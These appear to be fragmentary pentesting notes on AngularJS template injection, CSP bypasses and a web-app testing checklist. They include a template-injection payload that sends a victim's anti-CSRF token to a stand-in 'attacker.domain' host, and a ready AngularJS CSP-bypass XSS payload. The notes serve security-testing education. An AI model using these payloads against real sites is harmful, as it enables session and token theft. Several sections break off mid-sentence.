Steinz Security

Template Injection & Scope Hacking - Attack is limited to $scope functions and variables - Check if an application is using angular JS & Vulnerable to Template Injection or not. - Check the source code for `angular` keyword - open dev tools --> Console --> `angular.element($0).scope()` - This lists the scope - all the elements in the page - Check the soure code of functions to see what its doing - Developer tools --> Debugger --> Select app.js (whatever JS filename is) --> search for that function ; - Check for any injectable variables (Ex: some empty or dynamic content ) - Call the function - Send the below payload as input and see the connection going out - which has the victim's anti-csrf token -` {{Function_Name("https://attacker.domain/reach.php?x="+anti_csrf"")}}` - input `{{4-1}}` --> if the output is 3 --> VULNERABLE - use this any input or search parametes. Going Beyond the Scope - XSS via Templat

- CSP can be implemented via - Response header - Meta tag <meta http-equiv="Content-Security-Policy" content="default-src 'self'; img-src https://*; child-src 'none';"> Bypass CSP via ajax.googleapis.com via Flash file via Polyglot file via AngularJS Bypass CSP via ajax.googleapis.com Check `Content-Security-Policy: script-src 'self' ajax.googleapis.com` - here script-src 'self' ajax.googleapis.com means -> it allows only the same domains scripts + ajax.googleapis.com scripts <div ng-app ng-csp id=p ng-click=$event.view.alert("XSS")><script src="//ajax.googleapis.com/ajax/libs/angular/1.6.6/angular.min.js></script> <script async src=//ajax.googleapis.com/jsapi?callback=p.click></script> Bypass CSP via Flash File Works if the CSP is `Content-Security-Policy: script-src 'self'`; when the only restriction is script- we can bypass it using Flash File <object t

  - Fuzz the Application - Use testssl.sh to look for SSL issues and Vulnerabilities - Run Nikto & Nuclei, Dirsearch.py, BlackWidow on the target - Check if the appliation using AngularJS - Look for the version and its vulnerabilities - Check for Content Security Policy - Check for Cross Origin Resource Sharing - Change the Origin header domain and see if its reflected on the response or not - Origin: somerandomdomain.com - Add Multiple Origin Headers and see the response - Add Port, Special chars, null strings to it and observe the changes - Look for Host Header Injection Attacks - Add extra host header - Add X-Forwarded-For: somerandomdomain.com header and see if its being reflected or not - Look for Cached responses (Filter tfor the keyword "Cache" in Burp HTTP history), Web Cache Poisoning might be possible possible - Check if httonly and Secure flags are added in the cookie or not & HSTS - Check if .git exists and see if you can use https://git